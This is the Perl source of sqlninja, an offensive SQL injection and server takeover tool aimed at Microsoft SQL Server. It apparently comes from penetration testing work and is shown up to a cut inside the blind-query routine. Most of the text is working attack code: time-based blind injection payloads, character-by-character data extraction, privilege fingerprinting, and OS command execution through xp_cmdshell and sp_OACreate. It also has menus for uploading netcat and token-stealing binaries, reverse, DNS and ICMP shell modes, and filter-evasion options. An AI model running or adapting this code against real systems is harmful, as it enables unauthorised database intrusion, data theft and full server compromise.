1#!/usr/bin/env perl
2
3# sqlninja - SQL injection and takeover tool
4# Copyright (C) 2006-2011
5# http://sqlninja.sourceforge.net
6# icesurfer <r00t@northernfortress.net>
7#
8# Sqlninja is free software: you can redistribute it and/or modify
9# it under the terms of the GNU General Public License as published by
10# the Free Software Foundation, either version 3 of the License, or
11# (at your option) any later version.
12#
13# Sqlninja is distributed in the hope that it will be useful,
14# but WITHOUT ANY WARRANTY; without even the implied warranty of
15# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
16# GNU General Public License for more details.
17#
18# You should have received a copy of the GNU General Public License
19# along with sqlninja. If not, see <http://www.gnu.org/licenses/>.
20
21# Originally developed as a highly customized sql-based exploit
22# during a pen-test for a major financial institution (ciao Maurizio!),
23# to my surprise it became a more general purpose injection tool. Bah.
24
25# While I am releasing this version, my Gentoo box is playing:
26# Rammstein - Mein Land
27
28use strict;
29use Config;
30use IO::Socket;
31use IO::Handle;
32use Getopt::Std;
33use Fcntl;
34
35my $RELEASE = "0.2.6";
36
37# global variables that contain the configuration file options
38# You might say that global variables are bad, but what's more
39# global than an option from a configuration file? :P
40my $host = "";
41my $port = "";
42my $proxyhost = "";
43my $proxyport = "8080";
44my $httprequest = ""; # This substitutes a bunch of variables of previous versions
45my $method; # GET or POST
46my $vhost = "";
47my $postline;
48my $httpversion = 0;
49my $filterconf = "";
50my $timeout = 5;
51my $ssl = "";
52my $lhost = "";
53my $dev = "eth0";
54my $domain;
55my $hostnamelen = 250;
56my $dnssock = "/tmp/.dnsninjasock";
57my $resolvedip = "10.255.255.254";
58my $xp_name = "xp_cmdshell";
59my $blindtime = 5;
60my $evasion = "0";
61# Process command line arguments
62my %options;
63my $ask;_();getopts('gvm:f:p:w:u:d:',\%options) or usage();
64my $genscript = "";
65my $verbose = $options{v};
66my $confile = $options{f} || "sqlninja.conf";
67my $password = $options{p} || "";
68my $wordlist = $options{w};
69my $user = $options{u};
70my $debug = $options{d};
71my $genscript = $options{g};
72my $errorstring = "";
73my $errorflag = 0;
74my $appendcomment = "--";
75my $msfpath = "";
76my $msfencoder = "";
77my $msfencodecount = 5;
78my $lines_per_req = 10; # script lines to upload with each request
79my $churrasco = 0;
80my $checkdep = "no";
81my $sqlmarker = "__SQL2INJECT__";
82
83# Provide a friendly message for missing modules...
84my %nonStandardModules = (
85		"NetPacket-IP"             => "NetPacket::IP",
86		"NetPacket-TCP"            => "NetPacket::TCP",
87		"NetPacket-UDP"            => "NetPacket::UDP",
88		"NetPacket-ICMP"	   => "NetPacket::ICMP",
89		"IO-Socket-SSL"            => "IO::Socket::SSL",
90		"Net-Pcap"                 => "Net::Pcap",
91		"Net-RawIP"		   => "Net::RawIP",
92		"Net-DNS-Nameserver"	   => "Net::DNS::Nameserver",
93);
94
95while(my ($name,$module) = each %nonStandardModules) {
96	if (($> != 0) and ($name eq "Net-Pcap")) {
97		next;
98	}
99	if (($> != 0) and ($name eq "Net-DNS-Nameserver")) {
100		next;
101	}
102	if (($> != 0) and ($name eq "Net-RawIP")) {
103		next;
104	}
105	eval "use $module";
106	# The module isn't there
107	if ($@ =~ /Can't locate/) {
108		die "\nSeems that some module is missing...:\n".$@."\n";
109	}
110	if (($@ ne "") and ($verbose == 1)) {
111		print $@;
112	}
113}
114
115# Silly birthday function...
116my @timedata = localtime(time);
117if (($timedata[3] == 26) and ($timedata[4] == 0)) {
118	printf "-----------------------------------------------------------\n";
119	printf "Today is icesurfer's bday. What about a greetings email? :)\n";
120	printf "-----------------------------------------------------------\n";
121} elsif (($timedata[3] == 8) and ($timedata[4] == 1)) {
122	printf "----------------------------------------------------------\n";
123	printf "Today is sqlninja's bday. What about a greetings email? :)\n";
124	printf "----------------------------------------------------------\n";
125}
126
127print("Sqlninja rel. ".$RELEASE."\n");
128print("Copyright (C) 2006-2011 icesurfer <r00t\@northernfortress.net>\n");
129# Operation mode
130my $mode = $options{m};
131if (	$mode ne "test" && $mode ne "t" &&
132	$mode ne "fingerprint" && $mode ne "f" &&
133	$mode ne "bruteforce" && $mode ne "b" &&
134	$mode ne "escalation" && $mode ne "e" &&
135	$mode ne "resurrectxp" && $mode ne "x" &&
136	$mode ne "upload" && $mode ne "u" &&
137	$mode ne "dirshell" && $mode ne "s" &&
138	$mode ne "backscan" && $mode ne "k" &&
139	$mode ne "revshell" && $mode ne "r" &&
140	$mode ne "dnstunnel" && $mode ne "d" &&
141	$mode ne "icmpshell" && $mode ne "i" &&
142	$mode ne "sqlcmd" && $mode ne "c" &&
143	$mode ne "metasploit" && $mode ne "m") {
144		usage();
145		exit(1);
146	}
147
148if ((($mode eq "k") or ($mode eq "backscan")) and ($> != 0)) {
149	print "You need r00t privileges to run backscan mode...\n";
150	exit(0);
151}
152
153if ((($mode eq "d") or ($mode eq "dnstunnel")) and ($> != 0)) {
154	print "You need r00t privileges to run dnstunnel...\n";
155	exit(0);
156}
157
158if ((($mode eq "i") or ($mode eq "icmpshell")) and ($> != 0)) {
159	print "You need r00t privileges to run icmpshell...\n";
160	exit(0);
161}
162
163if (($genscript == 1) and ($mode ne "upload") and ($mode ne "u")) {
164	print "[-] -g only works with upload mode. Ignoring it...\n";
165}
166
167if (($debug ne "") and
168    ($debug ne "1") and
169    ($debug ne "2") and
170    ($debug ne "3") and
171    ($debug ne "all")) {
172    	print "Unrecognized debug mode. Possible modes are:\n".
173	      " 1 - Print injected SQL command\n".
174	      " 2 - Print raw HTTP request\n".
175	      " 3 - Print raw HTTP response\n".
176	      " all - all of the above\n\n";
177	exit(0);
178}
179
180# Parse configuration file
181parsefile();
182
183if (($xp_name eq "NULL") and ($password eq "")) {
184	print "You need to specify the sa password when xp_name is NULL !\n";
185	exit(0);
186}
187
188# Children either signal when they are done via socket
189# or they are killed by the parent
190$SIG{CHLD} = 'IGNORE';
191
192# Check whether to use SSL or not
193if ($ssl eq "auto") {
194	if ($proxyhost eq "") {
195		checkSSL();
196	} else {
197		print "[-] ssl can't be set to 'auto when using a proxy.\n";
198		if ($port eq "443") {
199			print "    Assuming encrypted connection\n";
200			$ssl = 1;
201		} else {
202			print "    Assuming cleartext connection\n";
203			$ssl = 0;
204		}
205	}
206} elsif ($ssl eq "yes") {
207	if ($verbose == 1) {
208		print "[v] Using SSL connection\n";
209	}
210	$ssl = 1;
211} elsif ($ssl eq "no") {
212	if ($verbose == 1) {
213		print "[v] Using cleartext connection\n";
214	}
215	$ssl = 0;
216# If we are here, it means that ssl wasn't specified at all. So we guess
217} elsif ($port eq "443") {
218	print "[+] Port 443... assuming SSL\n";
219	$ssl = 1;
220} else {
221	print "[+] Port ".$port.". Assuming cleartext\n";
222	$ssl = 0;
223}
224
225
226# What should we do anyway ?
227print "[+] Target is: ".$host.":".$port."\n";
228if (($mode eq "test") || ($mode eq "t")) {
229	test();
230} elsif (($mode eq "fingerprint") || ($mode eq "f")) {
231	fingerprint();
232} elsif (($mode eq "bruteforce") || ($mode eq "b")) {
233	if ($password ne "") {
234		print "[-] bruteforce mode specified. Password will be ".
235		              "ignored\n";
236		$password = "";
237	}
238	brute();
239} elsif (($mode eq "escalation") || ($mode eq "e")) {
240	if ($password eq "") {
241		print "[-] password not specified... exiting\n";
242		exit(1);
243	}
244	if ($user ne "") {
245		print "[-] username is not needed from version 0.2.0\n";
246	}
247	escalation();
248} elsif (($mode eq "resurrectxp") || ($mode eq "x")) {
249	if ($xp_name eq "NULL") {
250		print "[-] xp_name can't be NULL to use this mode. Please upd".
251		      "ate conf file\n";
252		exit(0);
253	}
254        resurrectxp();
255} elsif (($mode eq "upload") || ($mode eq "u")) {
256	my $uplfile;
257	while ($uplfile eq "") {
258		print "  Specify the binary or script file to upload\n";
259		print "  shortcuts:\n".
260		      "    1: apps/nc.exe\n".
261		      "    2: apps/dnstun.exe\n".
262		      "    3: apps/churrasco.exe\n".
263		      "    4: apps/icmpsh.exe\n".
264		      "    5: apps/vdmallowed.exe\n".
265		      "    6: apps/vdmexploit.dll\n".
266		      "  > ";
267		$uplfile = <STDIN>;
268		chomp $uplfile;
269		if ($uplfile eq "1") {
270			$uplfile = "apps/nc.exe";
271		} elsif ($uplfile eq "2") {
272			$uplfile = "apps/dnstun.exe";
273		} elsif ($uplfile eq "3") {
274			$uplfile = "apps/churrasco.exe";
275		} elsif ($uplfile eq "4") {
276			$uplfile = "apps/icmpsh.exe";
277		} elsif ($uplfile eq "5") {
278			$uplfile = "apps/vdmallowed.exe";
279		} elsif ($uplfile eq "6") {
280			$uplfile = "apps/vdmexploit.dll";
281		}
282	}
283	upload($uplfile);
284} elsif (($mode eq "dirshell") || ($mode eq "s")) {
285	dirshell();
286} elsif (($mode eq "backscan") || ($mode eq "k")) {
287	backscan();
288} elsif (($mode eq "revshell") || ($mode eq "r")) {
289	revshell();
290} elsif (($mode eq "dnstunnel") || ($mode eq "d")) {
291	if ($domain eq "") {
292		print "[-] domain has not been specified... exiting\n";
293		exit(1);
294	}
295	dnstunnel();
296} elsif (($mode eq "icmpshell") || ($mode eq "i")) {
297	icmpshell();
298} elsif (($mode eq "sqlcmd") || ($mode eq "c")) {
299        sqlcmd();
300} elsif (($mode eq "metasploit") || ($mode eq "m")) {
301	metasploit();
302}
303
304exit(0);
305##############################################################################
306# Main program ends here
307##############################################################################
308
309# Parse options from configuration file
310sub parsefile
311{
312	unless (-e $confile) {
313		print "[-] ".$confile." does not exist. Exiting...\n";
314		exit(-1);
315	}
316	print "[+] Parsing ".$confile."...\n";
317	my $confline;
318	open(FILE,"<".$confile) || die "[-] Can't open configuration file...".
319						"exiting\n";
320	while ($confline = <FILE>) {
321		chomp($confline);
322		# comment line
323		if ($confline =~ m/^#\.*/) {
324			next;
325		}
326
327		# We start with parameters that might require spaces
328
329		# errorstring
330		if ($confline =~ m/\s*errorstring\s*=\s*"(.+)"\s*/) {
331			$errorstring = $1;
332			if ($verbose == 1) {
333				print "  - custom error page string: \"".
334					$errorstring."\"\n";
335			}
336			next;
337		}
338
339		# tcpdump filter
340		elsif ($confline =~ m/\s*filter\s*=\s*(.+)\s*/) {
341			$filterconf = $1;
342			if ($verbose == 1) {
343				print "  - filterconf: ".$filterconf."\n";
344		        }
345		}
346
347		# Now we can safely strip all spaces and simplify regexps
348		$confline =~ s/\s//g;
349
350
351
352		#  Proxy host
353		if ($confline =~ m/^proxyhost=(\S+)/) {
354			$proxyhost = $1;
355			if ($verbose == 1) {
356				print "  - Proxy host: ".$proxyhost."\n";
357			}
358		}
359		# Proxy port
360		elsif ($confline =~ m/^proxyport=(\d+)/) {
361			$proxyport = $1;
362			if ($verbose == 1) {
363				print "  - Proxy port: ".$proxyport."\n";
364			}
365		}
366		# HTTP request
367		elsif ($confline =~ m/^--httprequest_start--/) {
368			$httprequest = ""; # overwrite if already present
369			my $line;
370			$line = <FILE>;
371			if ($line =~ m/^GET.+/) {
372				$method = "GET";
373			} else {
374				$method = "POST";
375			}
376
377			if ($line =~ m/^(GET|POST)\shttps:\/\//) {
378				$ssl = "yes";
379			} else {
380				$ssl = "no";
381			}
382			if ($verbose == 1) {
383				print "  - SSL: ".$ssl."\n";
384			}
385			# I suck with regexps, so there are probably bugs and definitely
386			# ways to do this better. Suggestions are welcome
387			$line =~ m/^(GET|POST)\s+https?:\/\/([A-Za-z0-9.-]+)(\/|:)/;
388			$host = $2;
389			if ($line =~ m/^(GET|POST)\s+https?:\/\/([A-Za-z0-9.-]+):(\d+)/) {
390				$port = $3;
391			} elsif ($ssl eq "yes") {
392				$port = 443;
393			} else {
394				$port = 80;
395			}
396
397			if ($line =~ m/HTTP\/1.1/) {
398				$httpversion = 1;
399			}
400			$httprequest = $httprequest.$line;
401			$line = <FILE>;
402			while ($line !~ m/^--httprequest_end--/) {
403
404				if ($line =~ m/^Host:\s+(\S+)/) {
405					$vhost = $1;
406				}
407				if (($method eq "POST") and ($line =~ m/^\s*$/)) {
408					$httprequest = $httprequest."Content-Length: __CONTENT_LENGTH__\n\n";
409				} elsif (($method eq "POST") and ($line =~ m/$sqlmarker/)) {
410					$postline = $line;  # We'll need this to calculate Content-Length
411					$httprequest = $httprequest.$line;
412				} else {
413					$httprequest = $httprequest.$line;
414				}
415				$line = <FILE>;
416			}
417		}
418		# device to sniff in backscan mode
419		elsif ($confline =~ m/^device=(\S+)/) {
420			$dev = $1;
421			if ($verbose == 1) {
422				print "  - sniff device: ".$dev."\n";
423			}
424		}
425		# local host
426		elsif ($confline =~ m/lhost=(\S+)/) {
427			$lhost = $1;
428			if ($verbose == 1) {
429				print "  - local host: ".$lhost."\n";
430			}
431		}
432		# domain for dnstunnel
433		elsif ($confline =~ m/^domain=(\S+)/) {
434			$domain = $1;
435			if ($verbose == 1) {
436				print "  - domain: ".$domain."\n";
437			}
438		}
439		# timeout for backscan
440		elsif ($confline =~ m/^timeout=(\d+)/) {
441			$timeout = $1;
442			if ($verbose == 1) {
443				print "  - timeout: ".$timeout."\n";
444			}
445		}
446		# hostnamelen
447		elsif ($confline =~ m/^hostnamelength=(\d+)/) {
448			if (($1 > 39) and ($1 < 256)) {
449				$hostnamelen = $1;
450				if ($verbose == 1) {
451					print "  - hostnamelength: ".
452							$hostnamelen."\n";
453				}
454			}
455		}
456		# resolved ip
457		elsif ($confline =~ m/^resolvedip=(\d+)\.(\d+)\.(\d+)\.(\d+)$/){
458			$resolvedip = $1.".".$2.".".$3.".".$4;
459			if ((($1 < 1) or ($1 > 255)) ||
460			    (($2 < 0) or ($2 > 255)) ||
461			    (($3 < 0) or ($3 > 255)) ||
462			    (($4 < 0) or ($4 > 255))) {
463			    	$resolvedip = "10.255.255.254";
464			}
465			if ($verbose == 1) {
466				print "  - resolved IP: ".$resolvedip."\n";
467			}
468		}
469		# xp_name
470		elsif ($confline =~ m/^xp_name=(\S+)/) {
471			$xp_name = $1;
472			if ($verbose == 1) {
473				print "  - xp_name: ".$xp_name."\n";
474			}
475		}
476		# blind injection time
477		elsif ($confline =~ m/^blindtime=(\d+)/) {
478			if (($1 > 2) and ($1 < 60)) { # back to school, silly!
479				$blindtime = $1;
480				if ($verbose == 1) {
481					print "  - blindtime: ".$blindtime."\n";
482				}
483			}
484		}
485		# append comment
486		elsif ($confline =~ m/^appendcomment=(\S+)/) {
487			if ($1 eq "no") {
488				$appendcomment = "";
489			}
490			if ($verbose == 1) {
491				if ($appendcomment eq "") {
492					print "  - append comment: no\n";
493				} else {
494					print "  - append comment: yes\n";
495				}
496			}
497		}
498		# evasion techniques
499		elsif ($confline =~ m/^evasion=([1-4]+)$/) {
500			$evasion = $1;
501		}
502		# msf path
503		elsif ($confline =~ m/^msfpath=(\S+)$/) {
504			$msfpath = $1;
505			unless ($msfpath=~m/\/$/) {
506				$msfpath = $msfpath."/";
507			}
508		}
509		# script lines to upload per request
510		elsif ($confline =~ m/^lines_per_request=(\d+)$/) {
511			if (($1 > 0) and ($1 < 31)) {
512				$lines_per_req = $1;
513			}
514		}
515		# Whether to use churrasco.exe
516		elsif ($confline= ~ m/^usechurrasco=(\S+)$/) {
517			if ($1 eq "yes") {
518				$churrasco = 1;
519				if ($verbose == 1) {
520					print "  - churrasco.exe enabled\n";
521				}
522			}
523		}
524		# msf encoder to use
525		elsif ($confline =~ m/^msfencoder=(\S+)$/) {
526			$msfencoder = $1;
527			if ($verbose == 1) {
528				print "  - msfencoder to use: ".$msfencoder."\n";
529			}
530		}
531		# number of times to encode the msf payload
532		elsif ($confline =~ m/^msfencodecount=(\d+)$/) {
533			if ($1 > 0) {
534				$msfencodecount=$1;
535				if ($verbose == 1) {
536					print "  - msf payload will be encoded ".
537						$msfencodecount." times\n";
538				}
539			}
540		}
541		# whether to handle DEP via xp_regwrite
542		elsif ($confline =~ m/checkdep=(\S+)$/) {
543			if ($1 eq "yes") {
544				$checkdep = "yes";
545				if ($verbose == 1) {
546					print "  - DEP checking enabled\n";
547				}
548			}
549		}
550		# sqlmarker
551		elsif ($confline =~ m/sqlmarker=(\S+)$/) {
552			$sqlmarker = $1;
553			if ($verbose == 1) {
554					print "  - sqlmarker: ".$sqlmarker."\n";
555			}
556		}
557	}
558	close FILE;
559	if ($httprequest eq "") {
560		print "[-] HTTP request not defined in ".$confile."\n";
561		print "    Are you sure you are not using a configuration file of a previous version?\n";
562		print "    Starting from version 0.2.6, the syntax has changed. See documentation\n";
563		exit(1);
564	}
565	if ($httprequest !~ m/$sqlmarker/) {
566		print "[-] No ".$sqlmarker." marker was found in the HTTP request in ".$confile."\n";
567		print "    See documentation for how to specify the attack request\n";
568		exit(1);
569	}
570	if ($host eq "") {
571		print "[-] host not defined in ".$confile."\n";
572		exit (1);
573	}
574	if ($httprequest eq "") {
575		print "[-] no HTTP defined in ".$confile."\n";
576		exit (1);
577	}
578	if ($filterconf eq "") {
579		$filterconf = "src host ".$host." and dst host ".$lhost;
580	}
581	if (($mode eq "5") or ($mode eq "dnstunnel")) {
582		if ($hostnamelen < (length($domain)+10)) {
583			print "[-] max hostname length too short\n";
584			exit(1);
585		}
586		if ($hostnamelen > 255) {
587			print "[-] max hostname length too long\n";
588			exit(1);
589		}
590	}
591	if ($evasion =~ /[1-4]/) {
592		print "[+] Evasion technique(s):\n";
593		if ($evasion =~ /1/) {
594			print "    - query hex-encoding\n";
595		}
596		if ($evasion =~ /2/) {
597		        print "    - comments as separator\n";
598		}
599		if ($evasion =~ /3/) {
600		        print "    - random case\n";
601		}
602		if ($evasion =~ /4/) {
603		        print "    - random URI encoding\n";
604		}
605	}
606	# If we are using a proxy without SSL, we need to modify the first line
607	# E.g.: GET /blah.asp --> GET http://victim.com/blah.asp
608	if (($proxyhost ne "") and ($ssl eq "")) {
609		$httprequest =~ s/$method\s+\//$method http:\/\/$host:$port\//;
610	}
611}
612
613
614# Simply test whether the configuration is correct and the injection
615# is working
616sub test
617{
618	print "[+] Trying to inject a 'waitfor delay'....\n";
619	my $query = "waitfor delay '0:0:".$blindtime."';";
620	my $delay = tryblind($query);
621	if ($delay > ($blindtime - 2)) {
622		print "[+] Injection was successful! Let's rock !! :)\n"
623	} else {
624		print "[-] Injection was not successful. Possible causes:\n";
625		print "    1. The application is not vulnerable\n";
626		print "    2. There is an error in the configuration\n";
627	}
628}
629
630# Ask the user what he/she wants to fingerprint, then call the
631# appropriate function
632sub fingerprint
633{
634	print "What do you want to discover ?\n";
635	my $info = "-1";
636	my $result;
637	my $menu;
638	my $opt5;
639	my $opt_xp;
640	if ($xp_name ne "NULL") {
641		$opt_xp = $xp_name;
642	} else {
643		$opt_xp = "openrowset+sp_oacreate";
644	}
645	if ($churrasco == 1) {
646		$opt5 = "  5 - Whether churrasco.exe can steal System's token\n".
647			"      (Win2k3 only. ".$opt_xp." must be available and\n".
648			"      churrasco.exe must have been uploaded)\n";
649	} else {
650		$opt5 = "  5 - Whether SQL Server runs as System\n".
651			"      (".$opt_xp." must be available)\n";
652	}
653	$menu = "  0 - Database version (2000/2005/2008)\n".
654		"  1 - Database user\n".
655	        "  2 - Database user rights\n".
656	   	"  3 - Whether ".$opt_xp." is working\n".
657		"  4 - Whether mixed or Windows-only authentication".
658			" is used\n".
659		$opt5.
660		"  6 - Current database name\n".
661	   	"  a - All of the above\n".
662	   	"  h - Print this menu\n".
663	   	"  q - exit\n";
664
665	my $sa = 0;
666	print $menu;
667	while (1) {
668		$errorflag = 0;
669		print "> ";
670		$info = <STDIN>;
671		lc($info);
672		chomp($info);
673		if ($info eq "h") {
674			print $menu;
675			next;
676		}
677		if (($info ne "0") and
678		    ($info ne "1") and
679		    ($info ne "2") and
680		    ($info ne "3") and
681		    ($info ne "4") and
682		    ($info ne "5") and
683		    ($info ne "6") and
684		    ($info ne "a") and
685		    ($info ne "q") and
686		    ($info ne "")) {
687			print "  Undefined command\n";
688			next;
689		}
690		if (($info eq "a") or ($info eq "0")) {
691			print "[+] Checking SQL Server version...\n";
692			$result = fingerprint_version();
693			if ($result ne "unknown") {
694				print "  Target: Microsoft SQL Server "
695						.$result."\n";
696			} else {
697				print "  Target: unknown\n";
698			}
699		}
700		if (($info eq "a") or ($info eq "1")) {
701			$sa = fingerprint_user(); # 1 if sa. 0 Otherwise
702		}
703		if (($info eq "a") or ($info eq "2")) {
704			# if in the previous step we found that we are
705			# sysadmin, there is no point in performing this
706			# step
707			if ($sa == 1) {
708				if ($verbose == 1) {
709					print "  [v] Skipping the fingerprint ".
710					      "of user rights\n";
711				}
712			} else {
713				$result = fingerprint_sysadmin(1);
714				if ($result == 1) {
715					print "  You are an administrator !\n";
716				} else {
717					print "  You are not an administrator".
718					". If you tried escalating al".
719					"ready, it might be\n  that you ".
720					"are using old ODBC connections. Check".
721					" the documentation\n  for how to deal".
722					" with this\n";
723				}
724			}
725		}
726		if (($info eq "a") or ($info eq "3")) {
727			$result = fingerprint_shell($xp_name);
728			if (($xp_name eq "NULL") and ($result == 1)) {
729				print "  openrowset+sp_oacreate works !\n";
730			} elsif (($xp_name eq "NULL") and ($result == 0)) {
731				print "  openrowset+sp_oacreate does not ".
732					"work...\n";
733			} elsif ($result == 1) {
734				print "  ".$xp_name." seems to be available ".
735								":)\n";
736			} else {
737				print "  ".$xp_name." doesn't seem to be ".
738								"available\n";
739			}
740		}
741		if (($info eq "a") or ($info eq "4")) {
742			$result = fingerprint_auth();
743			if ($result eq "1") {
744				print "  Windows-only authentication seems to".
745					" be used\n";
746			} elsif ($result eq "0") {
747				print "  Mixed authentication seems to be ".
748					"used\n";
749			} else {
750				print "  Could not determine authentication ".
751					"mode\n";
752			}
753		}
754		if (($xp_name ne "NULL") and (($info eq "a") or ($info eq "5"))) {
755			$result = fingerprint_sqlsrvuser($xp_name);
756			if (($result eq "1") and ($churrasco == 0)) {
757				print "  SQL Server appears to be running as ".
758					"System.... yay!\n";
759			} elsif (($result eq "1") and ($churrasco == 1)) {
760				print "  Churrasco appears to make our queries ".
761					"run as System... yay!\n";
762			} elsif (($result eq "0") and ($churrasco == 0)) {
763				print "  SQL Server does not appear to be ".
764					"running as System. You can try\n".
765					"  uploading and using ".
766					"churrasco.exe to attempt token ".
767					"kidnapping\n";
768			} else {
769				print "  Queries do not appear to be run as ".
770				      "System. The box might have\n  been patched\n";
771			}
772		}
773		if (($info eq "6") or ($info eq "a")) {
774			extract_data("Current DB","select len(db_name())", "select db_name()",0,30);
775		}
776		if ($info eq "q") {
777			exit(0);
778		}
779		$info = "-1";
780		$sa = 0;
781	}
782}
783
784# Using inference-based SQL Injection, figures out whether we are talking to a
785# SQL Server 2000 or 2005. The double-negation logic is used to avoid the
786# injection of the '=' sign, that was filtered by a couple of applications that
787# I tested (go figure!)
788sub fingerprint_version
789{
790	my $query="if not(substring((select \@\@version),25,1) <> 5) waitfor ".
791		    "delay '0:0:".$blindtime."';";
792	my $delay = tryblind($query);
793	if ($delay > ($blindtime - 2)) {
794		return "2005";
795	}
796	$query="if not(substring((select \@\@version),25,1) <> 0) waitfor ".
797		    "delay '0:0:".$blindtime."';";
798	$delay = tryblind($query);
799	if ($delay > ($blindtime - 2)) {
800		return "2000";
801	}
802	$query="if not(substring((select \@\@version),28,1) <> 8) waitfor ".
803		    "delay '0:0:".$blindtime."';";
804	$delay = tryblind($query);
805	if ($delay > ($blindtime - 2)) {
806		return "2008";
807	}
808	return "unknown";
809}
810
811# Using inference-based SQL Injection, figures out which
812# user is performing the queries on the target DB
813sub fingerprint_user
814{
815	my $query;
816	my $delay;
817
818	print "[+] Checking whether we are sysadmin...\n";
819	$query = "if not(select system_user) <> 'sa' waitfor delay '0:0:"
820							.$blindtime."'";
821	$delay = tryblind($query);
822	if ($delay > ($blindtime - 2)) {
823		print "  We seem to be 'sa' :)\n";
824		return 1;
825	} else {
826		print "  No, we are not 'sa'.... :/ \n";
827
828		extract_data("DB User","select len(system_user)", "select system_user",0,30);
829	}
830	return 0;
831}
832
833# Extract generic data from the DB using WAITFOR.
834# The $inner_query parameter must return a string
835sub extract_data {
836	my $req_data = $_[0]; # The description of data we are looking for
837			      # (e.g.: DB User)
838	my $inner_query_len = $_[1]; # The query returning the
839				     # length of the data we are looking for
840	my $inner_query_string = $_[2]; # The query returning the string of
841					# the data we are looking for
842	my $minlen = $_[3];
843	my $maxlen = $_[4];
844	my $len = -1;
845	my $candidate;
846	my $query;
847	my $delay;
848
849	local $/=\1;
850	local $|=1;
851
852	my $word1 = "if ascii(substring((".$inner_query_string."),";
853	my $word2 = ",1)) < ";
854	my $word3 = " waitfor delay '0:0:".$blindtime."';";
855	my $len1 = "if (".$inner_query_len.") < ";
856	my $len2 = " waitfor delay '0:0:".$blindtime."';";
857
858	print "[+] Finding ".$req_data." length... \n";
859	if ($verbose == 1) {
860		print "  Candidate...: ";
861	}
862	while ($len < 0) {
863		$candidate = int(($minlen+$maxlen)/2);
864		if ($verbose == 1) {
865			print $candidate."... ";
866		}
867		$query = $len1.$candidate.$len2;
868		$delay = tryblind($query);
869		if (($maxlen - $minlen) > 1) {
870			if ($delay < $blindtime - 2) {
871				$minlen = $candidate;
872			} else {
873				$maxlen = $candidate; #
874			}
875			if ($minlen == $maxlen) {
876				$len = $minlen;
877			}
878		} else {
879			if ($delay < $blindtime - 2) {
880				$len = $maxlen-1;
881			} else {
882				$len = $minlen;
883			}
884		}
885	}
886	if ($verbose == 1) {
887		print "\n";
888	}
889	print "  Got it ! Length = ".$len."\n";
890	print "[+] Now going for the characters........\n";
891	print "  ".$req_data." is....: ";
892	my $asciinum = -1;
893	my $charnum;
894	my $minchar;
895	my $maxchar;
896	for ($charnum=1; $charnum<=$len; $charnum++) {
897		$minchar=32;
898		$maxchar=126;
899		while ($asciinum < 0) {
900			$candidate = int(($minchar+$maxchar)/2);
901			$query=$word1.$charnum.$word2.$candidate.$word3;
902			$delay=tryblind($query);
903			if (($maxchar-$minchar) > 1) {
904				if ($delay < $blindtime - 2) {
905					$minchar=$candidate;
906				} else {
907					$maxchar=$candidate;
908				}
909				if ($minchar==$maxchar) {
910					$asciinum=$minchar;
911				}
912			} else {
913				if ($delay < $blindtime - 2) {
914					$asciinum=$maxchar-1;
915				} else {
916					$asciinum=$minchar;
917				}
918			}
919		}
920		printf("%c",$asciinum);
921		$asciinum=-1;
922	}
923	print "\n";
924}
925
926
927
928# Check whether we are part of the sysadmin group...
929# Mostly useful after having used the escalation method
930sub fingerprint_sysadmin
931{
932	my $v = $_[0];
933	if ($v == 1) {
934		print "[+] Checking whether user is member of sysadmin "
935		."server role....\n";
936	}
937	my $cmd;
938	$cmd = "if is_srvrolemember('sysadmin') > 0 waitfor delay '0:0:".
939               $blindtime."';";
940	my $delay = tryblind($cmd);
941	if ($delay > ($blindtime - 2)) {
942		return 1;
943	} else {
944		return 0;
945	}
946}
947
948# Try to see if the stored procedure passed as a parameter
949# is working
950sub fingerprint_shell
951{
952	if ($_[0] eq "NULL") {
953		return fingerprint_nullshell();
954	}
955	print "[+] Checking whether ".$_[0]." is available\n";
956	my $query = "exec master..".$_[0]." 'ping -n ".$blindtime.
957				" 127.0.0.1';";
958	my $delay = tryblind($query);
959	if ($delay > ($blindtime - 2)) {
960		return 1;
961	} else {
962		return 0;
963	}
964}
965
966sub fingerprint_sqlsrvuser
967{
968	if ($_[0] eq "NULL") {
969		print "[-] This mode does not currently work with inline procedure ".
970				"injection\n";
971		return "-1";
972	}
973	my $rnd = int(rand()*65535);
974	my $cmd = "whoami";
975	if ($churrasco == 1) {
976		$cmd = usechurrasco($cmd);
977		print "[+] Checking whether Churrasco.exe can escalate privileges...\n";
978	} else {
979		print "[+] Checking whether SQL Server runs as NT Authority\\SYSTEM...\n";
980	}
981	my $query = "drop table tempdb..blah".$rnd.";".
982		    "create table tempdb..blah".$rnd." (name nvarchar(100));".
983		    "insert tempdb..blah".$rnd." exec master..".$_[0]." '".$cmd."';".
984		    "if (select top 1 name from tempdb..blah".$rnd.") ".
985		       "like 'nt authority\\system' ".
986		       "waitfor delay '0:0:".$blindtime."';".
987		    "drop table tempdb..blah".$rnd.";";
988	my $delay = tryblind($query);
989	if ($delay > ($blindtime - 2)) {
990		return "1";
991	} else {
992		return "0";
993	}
994}
995
996sub fingerprint_nullshell
997{
998	if ($password eq "") {
999		print "[-] Specify 'sa' password to use \"NULL\" xp_cmdshell\n".
1000		      "    If you are 'sa' already, you shouldn't need NULL ".
1001		      "xp_cmdshell anyway.... \n";
1002		exit(1);
1003	}
1004	print "[+] Checking whether openrowset+sp_oacreate works\n";
1005	my $query = "DECLARE \@ID int ".
1006	        "EXEC sp_OACreate 'WScript.Shell',\@ID OUT ".
1007		"EXEC sp_OAMethod \@ID,'Run',Null,'ping -n ".$blindtime.
1008						" 127.0.0.1',0,1 ".
1009		"EXEC sp_OADestroy \@ID";
1010	my $delay = tryblind($query);
1011	if ($delay > $blindtime - 2) {
1012		return 1;
1013	} else {
1014		return 0;
1015	}
1016}
1017
1018# Figures out which authentication system is in place
1019sub fingerprint_auth
1020{
1021	my $query="if not((select serverproperty('IsIntegratedSecurityOnly')) ".
1022		" <> 1) waitfor delay '0:0:".$blindtime."';";
1023	my $delay = tryblind($query);
1024	if ($delay > ($blindtime - 2)) {
1025		return "1";
1026	}
1027	$query="if not((select serverproperty('IsIntegratedSecurityOnly')) ".
1028		" <> 0) waitfor delay '0:0:".$blindtime."';";
1029	$delay = tryblind($query);
1030	if ($delay > ($blindtime - 2)) {
1031		return "0";
1032	}
1033	return "unknown";
1034}
1035
1036
1037# Send a request and return the time that it took to return
1038# It is used with WAITFOR-based blind injection
1039sub tryblind
1040{
1041	my $query;
1042	if ($password eq "") {
1043		$query = $_[0];
1044	} else {
1045		my $cmd = $_[0];
1046		$cmd =~ s/'/''/g;
1047		$query = "select * from OPENROWSET('SQLOLEDB',".
1048			"'Network=DBMSSOCN;Address=;uid=sa;pwd=".
1049				$password.
